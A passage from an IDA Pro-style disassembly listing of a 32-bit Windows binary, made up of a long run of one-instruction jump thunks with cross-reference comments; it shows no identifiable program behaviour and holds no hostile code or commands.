... jmp sub_40BDD0 sub_401BEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BF4 proc near ; CODE XREF: sub_40B0B0+5Cp jmp sub_40BC70 sub_401BF4 endp ; --------------------------------------------------------------------------- jmp loc_4327C0 ; --------------------------------------------------------------------------- jmp loc_431120 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C03 proc near ; CODE XREF: sub_430AD0+20p ; sub_430C00+20p ... jmp sub_430690 sub_401C03 endp ; --------------------------------------------------------------------------- jmp loc_42ED30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C0D proc near jmp sub_4347B0 sub_401C0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C12 proc near ; CODE XREF: sub_4137E0+84p ; sub_433A20+3Cp ... jmp sub_433940 sub_401C12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C17 proc near ; CODE XREF: ___:0042C4D8p jmp sub_42B060 sub_401C17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C1C proc near ; CODE XREF: sub_42A810+446p jmp sub_42A5F0 sub_401C1C endp ; --------------------------------------------------------------------------- jmp loc_41B620 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C26 proc near ; CODE XREF: ___:00431256p ; sub_4331D0+23p jmp sub_431AC0 sub_401C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C2B proc near ; DATA XREF: ___:off_43E12Co jmp sub_427FF0 sub_401C2B endp ; --------------------------------------------------------------------------- jmp loc_41FC80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C35 proc near ; CODE XREF: sub_41AFE0+8p ; ___:0041B39Dp ... jmp sub_41A010 sub_401C35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3A proc near ; CODE XREF: sub_42A100+3p jmp sub_42A130 sub_401C3A endp ; --------------------------------------------------------------------------- jmp loc_41AD80 ; --------------------------------------------------------------------------- jmp loc_416990 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C49 proc near ; CODE XREF: sub_40BD90+1Fp jmp sub_40BEC0 sub_401C49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C4E proc near ; CODE XREF: sub_415A00+9p ; sub_415B20+18p jmp sub_4165D0 sub_401C4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C53 proc near ; CODE XREF: sub_418C50+4p jmp sub_418F70 sub_401C53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C58 proc near ; CODE XREF: sub_407370+11p ; ___:00407397p ... jmp sub_407520 sub_401C58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C5D proc near ; CODE XREF: sub_404C70+111p ; sub_40D580+42p ... jmp sub_40A1F0 sub_401C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C62 proc near ; CODE XREF: ___:0041319Ap ; sub_413220+3Cp ... jmp sub_4157E0 sub_401C62 endp ; --------------------------------------------------------------------------- jmp loc_42E9C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C6C proc near ; CODE XREF: sub_4256B0+69p jmp sub_425820 sub_401C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C71 proc near ; CODE XREF: sub_40B520+2Fp ; sub_40B520+6Ep ... jmp sub_40BD60 sub_401C71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C76 proc near ; CODE XREF: ___:0042ED88p ; ___:0042ED9Dp ... jmp sub_432CC0 sub_401C76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C7B proc near ; CODE XREF: sub_415370+11p ; sub_415DD0+1Fp jmp sub_415FC0 sub_401C7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C80 proc near ; DATA XREF: ___:0043E0D4o jmp sub_41D830 sub_401C80 endp ; --------------------------------------------------------------------------- jmp loc_419910 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C8A proc near ; CODE XREF: sub_407370+9p ; sub_418D80+18p jmp sub_4075C0 sub_401C8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C8F proc near ; CODE XREF: sub_4131F0+3p ; ___:00416B3Bp ... jmp sub_413220 sub_401C8F endp ; --------------------------------------------------------------------------- jmp loc_40B810 ; --------------------------------------------------------------------------- loc_401C99: ; DATA XREF: ___:off_43E05Co jmp loc_416C90 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CA3 proc near ; CODE XREF: ___:00416E6Ap jmp sub_4181B0 sub_401CA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CA8 proc near ; CODE XREF: sub_415AA0+Cp ; sub_415AA0+43p jmp sub_4165A0 sub_401CA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CAD proc near ; CODE XREF: sub_409600+45p jmp sub_4098E0 sub_401CAD endp ; --------------------------------------------------------------------------- jmp loc_433140 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CBC proc near ; CODE XREF: sub_40FF60+3A4p jmp sub_40A000 sub_401CBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CC1 proc near ; CODE XREF: sub_407790+646p ; ___:00407E7Dp ... jmp sub_4076F0 sub_401CC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CC6 proc near ; CODE XREF: sub_415420+16p ; sub_415460+Bp ... jmp sub_416090 sub_401CC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CCB proc near ; CODE XREF: sub_409600+144p jmp sub_409970 sub_401CCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CD0 proc near ; CODE XREF: sub_404640+1C2p ; sub_404B10+36p ... jmp sub_4133D0 sub_401CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CD5 proc near ; CODE XREF: sub_4150F0+34p ; sub_415B20+67p jmp sub_415CC0 sub_401CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDA proc near jmp sub_409AA0 sub_401CDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDF proc near ; DATA XREF: ___:0043E06Co jmp sub_41FC00 sub_401CDF endp ; --------------------------------------------------------------------------- jmp loc_42E0B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CE9 proc near ; CODE XREF: sub_40BE90+5p jmp sub_40C0F0 sub_401CE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CEE proc near ; CODE XREF: ___:0043113Fp jmp sub_42F230 sub_401CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CF3 proc near ; CODE XREF: sub_421D50+11p ; ___:00421D77p ... jmp sub_422300 sub_401CF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CF8 proc near ; DATA XREF: ___:0043E048o jmp sub_4131F0 sub_401CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CFD proc near ; CODE XREF: sub_4157A0+1Fp jmp sub_416120 sub_401CFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D02 proc near ; CODE XREF: sub_40F600+1ACp ; sub_40F600+1EDp ... jmp sub_40F590 sub_401D02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D07 proc near ; CODE XREF: sub_413DA0+15Cp jmp sub_414090 sub_401D07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D0C proc near ; CODE XREF: sub_404C20+23p ; sub_40FF60+13C2p jmp sub_412B20 sub_401D0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D11 proc near ; CODE XREF: ___:00416E2Fp jmp sub_418050 sub_401D11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D16 proc near ; CODE XREF: sub_407540+7p ; sub_40C200+7p ... jmp sub_4075E0 sub_401D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D1B proc near ; CODE XREF: sub_40A810+1Ap ; sub_40A8C0+4p ... jmp sub_40A880 sub_401D1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D20 proc near ; CODE XREF: sub_404640+289p ; sub_404640+2ADp ... jmp sub_40A0A0 sub_401D20 endp ; --------------------------------------------------------------------------- jmp loc_42F2B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D2A proc near ; DATA XREF: ___:0043E154o jmp sub_4282C0 sub_401D2A endp ; --------------------------------------------------------------------------- jmp loc_42E680 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D34 proc near jmp sub_403FC0 sub_401D34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D39 proc near ; CODE XREF: sub_411FE0+123p ; sub_411FE0+1E2p jmp sub_4126B0 sub_401D39 endp ; --------------------------------------------------------------------------- jmp loc_41B470 ; --------------------------------------------------------------------------- jmp loc_40B790 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D48 proc near ; CODE XREF: sub_421C80+5p jmp sub_4221E0 sub_401D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D4D proc near ; CODE XREF: sub_415E70+5Fp jmp sub_416690 sub_401D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D52 proc near ; CODE XREF: sub_41D830+2C7p jmp sub_42EA40 sub_401D52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D57 proc near ; CODE XREF: sub_418BA0+7p jmp sub_418E40 sub_401D57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D5C proc near ; CODE XREF: sub_413670+5Dp ; sub_413670+9Bp ... jmp sub_415340 sub_401D5C endp ; --------------------------------------------------------------------------- jmp loc_4360A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D66 proc near ; CODE XREF: sub_415730+16p ; sub_415770+Bp ... jmp sub_4163E0 sub_401D66 endp ; --------------------------------------------------------------------------- jmp loc_40B880 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D70 proc near ; CODE XREF: sub_432ED0+98p jmp sub_430660 sub_401D70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D75 proc near ; CODE XREF: sub_421B60+16p ; sub_421BA0+Bp ... jmp sub_4221B0 sub_401D75 endp ; --------------------------------------------------------------------------- jmp loc_42C7E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D7F proc near jmp sub_41C390 sub_401D7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D84 proc near ; CODE XREF: sub_4189B0+16p ; sub_4189F0+Bp ... jmp sub_418D20 sub_401D84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D89 proc near ; CODE XREF: sub_413670+53p ; sub_413670+91p ... jmp sub_4151A0 sub_401D89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D8E proc near ; CODE XREF: sub_422A40+56p jmp sub_4258A0 sub_401D8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D93 proc near ; CODE XREF: sub_422A40+18Ap jmp sub_4257A0 sub_401D93 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D9D proc near ; CODE XREF: sub_428040+81p jmp sub_427AD0 sub_401D9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DA2 proc near ; CODE XREF: sub_415680+11p ; sub_416120+1Fp jmp sub_416310 sub_401DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA7 proc near ; CODE XREF: sub_415160+16p ; sub_4151A0+Bp ... jmp sub_415D40 sub_401DA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DAC proc near ; CODE XREF: ___:00414713p jmp sub_4144D0 sub_401DAC endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DB6 proc near ; CODE XREF: sub_426F70+90p jmp sub_427520 sub_401DB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DBB proc near ; CODE XREF: ___:0042B178p jmp sub_42AEC0 sub_401DBB endp ; --------------------------------------------------------------------------- jmp loc_414120 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DC5 proc near ; CODE XREF: sub_4337E0+74p jmp sub_4317F0 sub_401DC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DCA proc near ; CODE XREF: sub_41FA90+1Dp jmp sub_40B070 sub_401DCA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DCF proc near ; CODE XREF: sub_40A9F0+45p jmp sub_40AC70 sub_401DCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DD4 proc near ; CODE XREF: ___:0042F33Dp ; ___:0042F462p ... jmp sub_431990 sub_401DD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DD9 proc near ; CODE XREF: ___:00425C34p jmp sub_426EB0 sub_401DD9 endp ; --------------------------------------------------------------------------- jmp loc_431A60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE3 proc near ; CODE XREF: sub_40FF60+AE7p ; sub_40FF60+E5Dp jmp sub_41EE70 sub_401DE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE8 proc near ; CODE XREF: sub_40ACA0+Ap jmp sub_40AD90 sub_401DE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DED proc near ; CODE XREF: ___:00416A3Bp ; ___:00439F7Aj ... jmp sub_417AE0 sub_401DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DF2 proc near ; CODE XREF: sub_421E80+4p jmp sub_422320 sub_401DF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DF7 proc near ; CODE XREF: sub_40C400+271p ; sub_425020+50p jmp sub_423660 sub_401DF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DFC proc near ; CODE XREF: ___:0041617Ap jmp sub_416760 sub_401DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E01 proc near ; CODE XREF: sub_415CC0+7p jmp sub_4164C0 sub_401E01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E06 proc near ; CODE XREF: sub_41D830+19Bp jmp sub_42C790 sub_401E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E0B proc near ; CODE XREF: sub_404C70+83Bp ; sub_404C70+B68p ... jmp sub_412900 sub_401E0B endp ; --------------------------------------------------------------------------- jmp sub_4131F0 ; --------------------------------------------------------------------------- jmp sub_428220 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1A proc near ; CODE XREF: sub_4153B0+34p ; sub_415E70+67p jmp sub_416010 sub_401E1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E1F proc near ; CODE XREF: sub_413670+31p ; sub_4144D0+2Dp jmp sub_4152D0 sub_401E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E24 proc near ; CODE XREF: sub_40CBB0+1EEp ; ___:00423EC5p ... jmp sub_425640 sub_401E24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E29 proc near ; CODE XREF: sub_4158F0+3p jmp sub_4163C0 sub_401E29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E2E proc near ; CODE XREF: sub_404640+97p ; sub_404640+107p ... jmp sub_40A3C0 sub_401E2E endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E38 proc near ; CODE XREF: ___:00423CFDp jmp sub_423850 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E3D proc near ; CODE XREF: ___:00421D0Ap jmp sub_422210 sub_401E3D endp ; --------------------------------------------------------------------------- jmp loc_416D30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E47 proc near jmp sub_4355E0 sub_401E47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E4C proc near ; DATA XREF: ___:off_43E098o jmp sub_4356F0 sub_401E4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E51 proc near ; CODE XREF: ___:0043250Fp jmp sub_42FDB0 sub_401E51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E56 proc near ; CODE XREF: sub_4165A0+5p jmp sub_4167F0 sub_401E56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E5B proc near ; CODE XREF: sub_404C70+28Dp ; sub_41D830+6A6p jmp sub_40DB40 sub_401E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E60 proc near ; CODE XREF: sub_422410+5Fp jmp sub_422600 sub_401E60 endp ; --------------------------------------------------------------------------- jmp loc_419E90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6A proc near ; CODE XREF: sub_40F600+22p ; sub_411860+1Dp ... jmp sub_40ADC0 sub_401E6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6F proc near ; CODE XREF: sub_40A9F0+112p ; sub_40A9F0+153p jmp sub_40ACD0 sub_401E6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E74 proc near ; DATA XREF: ___:off_43E0C0o jmp sub_41B010 sub_401E74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E79 proc near ; CODE XREF: sub_4155E0+3p jmp sub_416070 sub_401E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E7E proc near ; CODE XREF: sub_426960+1Ap jmp sub_426820 sub_401E7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E83 proc near ; CODE XREF: ___:00416B0Bp ; ___:00439EC4j ... jmp sub_4175E0 sub_401E83 endp ; --------------------------------------------------------------------------- jmp loc_431EC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E8D proc near ; CODE XREF: sub_4200F0+3Ap jmp sub_420300 sub_401E8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E92 proc near ; DATA XREF: ___:0043E114o jmp sub_426F70 sub_401E92 endp ; --------------------------------------------------------------------------- jmp loc_432800 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E9C proc near ; CODE XREF: sub_416310+4p jmp sub_416710 sub_401E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA1 proc near ; CODE XREF: sub_415830+4Fp ; sub_4161C0+11p ... jmp sub_416410 sub_401EA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA6 proc near ; CODE XREF: sub_415650+5p jmp sub_4160F0 sub_401EA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EAB proc near ; CODE XREF: sub_424840+151p jmp sub_424800 sub_401EAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EB0 proc near ; CODE XREF: ___:00416AABp ; ___:00439F18j ... jmp sub_417830 sub_401EB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EB5 proc near ; CODE XREF: sub_4152D0+3p jmp sub_415D20 sub_401EB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EBA proc near ; CODE XREF: sub_415030+11p ; sub_415070+13p ... jmp sub_415C70 sub_401EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EBF proc near ; CODE XREF: sub_421960+16p ; sub_4219A0+Bp ... jmp sub_421F50 sub_401EBF endp ; --------------------------------------------------------------------------- jmp loc_418860 ; --------------------------------------------------------------------------- jmp loc_41C250 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ECE proc near ; CODE XREF: sub_418E90+18p ; sub_421CB0+9p jmp sub_419050 sub_401ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ED3 proc near ; CODE XREF: sub_422540+Ap jmp sub_4226E0 sub_401ED3 endp ; --------------------------------------------------------------------------- jmp loc_41BC50 ; --------------------------------------------------------------------------- jmp loc_4328B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EE2 proc near ; CODE XREF: ___:00416A0Bp ; ___:00439FA4j ... jmp sub_417B20 sub_401EE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EE7 proc near ; CODE XREF: sub_40A810+13p jmp loc_40A950 sub_401EE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EEC proc near ; CODE XREF: sub_41B060:loc_41B0ACp ; sub_41B950+54p ... jmp sub_4198A0 sub_401EEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EF1 proc near ; CODE XREF: ___:004142C5p jmp sub_415490 sub_401EF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EF6 proc near ; CODE XREF: sub_4156C0+34p ; sub_4161C0+67p jmp sub_416360 sub_401EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EFB proc near ; CODE XREF: sub_4152F0+3p ; ___:00415A4Fp ... jmp sub_415D00 sub_401EFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F00 proc near jmp sub_412C10 sub_401F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F05 proc near ; CODE XREF: sub_413120+4Dp jmp sub_415370 sub_401F05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F0A proc near ; CODE XREF: sub_4070F0+5Cp ; sub_418E60+3p jmp sub_407310 sub_401F0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F0F proc near ; CODE XREF: ___:00419103p jmp sub_419170 sub_401F0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F14 proc near ; CODE XREF: ___:0040BF1Ap jmp sub_40C250 sub_401F14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F19 proc near ; CODE XREF: ___:0042B15Fp jmp sub_42ADB0 sub_401F19 endp ; --------------------------------------------------------------------------- loc_401F1E: ; DATA XREF: ___:off_43E08Co jmp loc_4348A0 ; --------------------------------------------------------------------------- loc_401F23: ; DATA XREF: ___:004240B4o jmp loc_423C10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F28 proc near ; CODE XREF: ___:00416A6Bp ; ___:00439F50j ... jmp sub_417A40 sub_401F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F2D proc near ; CODE XREF: sub_413B70+99p jmp sub_413D40 sub_401F2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F32 proc near ; CODE XREF: sub_40B390+3Dp ; ___:0040BB2Dp ... jmp sub_40B700 sub_401F32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F37 proc near ; CODE XREF: ___:loc_423CA7p jmp sub_423720 sub_401F37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F3C proc near ; CODE XREF: sub_404C70+A3Ep jmp sub_406890 sub_401F3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F41 proc near ; DATA XREF: ___:off_43E1A0o jmp sub_42B350 sub_401F41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F46 proc near ; CODE XREF: sub_4139B0+72p jmp sub_413670 sub_401F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F4B proc near ; CODE XREF: sub_418330+5Fp ; sub_418940+1Ap ... jmp sub_4189B0 sub_401F4B endp ; --------------------------------------------------------------------------- jmp loc_42EFA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F55 proc near ; CODE XREF: sub_42E400+B5p jmp sub_42D2C0 sub_401F55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5A proc near ; CODE XREF: sub_40B520+4Bp ; sub_40B520:loc_40B5ABp ... jmp sub_40BE40 sub_401F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F5F proc near jmp sub_41E400 sub_401F5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F64 proc near ; CODE XREF: sub_40A430+142p jmp sub_40A810 sub_401F64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F69 proc near ; CODE XREF: sub_404640+35Dp ; sub_404640+39Ep jmp sub_404B10 sub_401F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F6E proc near ; CODE XREF: sub_415DD0+9p ; sub_415E70+18p jmp sub_4166D0 sub_401F6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F73 proc near ; CODE XREF: sub_431B30+1Bp jmp sub_431BE0 sub_401F73 endp ; --------------------------------------------------------------------------- jmp loc_42AFD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F7D proc near ; CODE XREF: sub_426450+1Dp ; sub_4269A0+1Dp ... jmp sub_4264C0 sub_401F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F82 proc near ; CODE XREF: sub_427DC0+1Dp ; sub_428160+1Fp ... jmp sub_427E30 sub_401F82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F87 proc near ; CODE XREF: ___:00429D73p jmp sub_429DA0 sub_401F87 endp ; --------------------------------------------------------------------------- jmp loc_406BD0 ; --------------------------------------------------------------------------- jmp loc_40D460 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F96 proc near ; CODE XREF: sub_409600+112p ; sub_409600+153p jmp sub_409940 sub_401F96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F9B proc near ; CODE XREF: sub_422600+5p jmp sub_422770 sub_401F9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA0 proc near ; CODE XREF: sub_407340+5p jmp sub_4074F0 sub_401FA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA5 proc near ; CODE XREF: sub_413670+6Fp ; sub_413670+DBp ... jmp sub_4152F0 sub_401FA5 endp ; --------------------------------------------------------------------------- jmp loc_42B830 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FAF proc near ; CODE XREF: sub_415210+5Ep ; sub_415BE0+32p jmp sub_415B20 sub_401FAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB4 proc near jmp sub_40F030 sub_401FB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB9 proc near ; CODE XREF: sub_412B20+3p jmp sub_412B50 sub_401FB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FBE proc near ; CODE XREF: sub_404640+48p ; sub_404640+5Dp ... jmp sub_409D20 sub_401FBE endp ; --------------------------------------------------------------------------- jmp loc_419950 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FC8 proc near ; CODE XREF: sub_41A0E0+3p ; sub_41B040+9j ... jmp sub_41A110 sub_401FC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FCD proc near ; CODE XREF: sub_40BCB0+34p ; sub_40C120+67p jmp sub_40C040 sub_401FCD endp ; --------------------------------------------------------------------------- jmp loc_432690 ; --------------------------------------------------------------------------- loc_401FD7: ; DATA XREF: ___:off_43E094o jmp loc_435280 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FDC proc near jmp sub_40F0B0 sub_401FDC endp ; --------------------------------------------------------------------------- jmp loc_436300 ; --------------------------------------------------------------------------- loc_401FE6: ; DATA XREF: ___:0043E03Co jmp loc_41EDB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FEB proc near ; CODE XREF: sub_41F860+5Ap jmp sub_41FF40 sub_401FEB endp ; --------------------------------------------------------------------------- jmp loc_430380 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FF5 proc near ; CODE XREF: ___:00416A2Bp ; ___:00439F88j ... jmp sub_417B00 sub_401FF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FFA proc near ; CODE XREF: ___:00416D7Fp jmp sub_413120 sub_401FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FFF proc near ; CODE XREF: sub_421A80+5p jmp sub_421F80 sub_401FFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402004 proc near ; CODE XREF: ___:00421654p jmp sub_41BFA0 sub_402004 endp ; --------------------------------------------------------------------------- off_402009 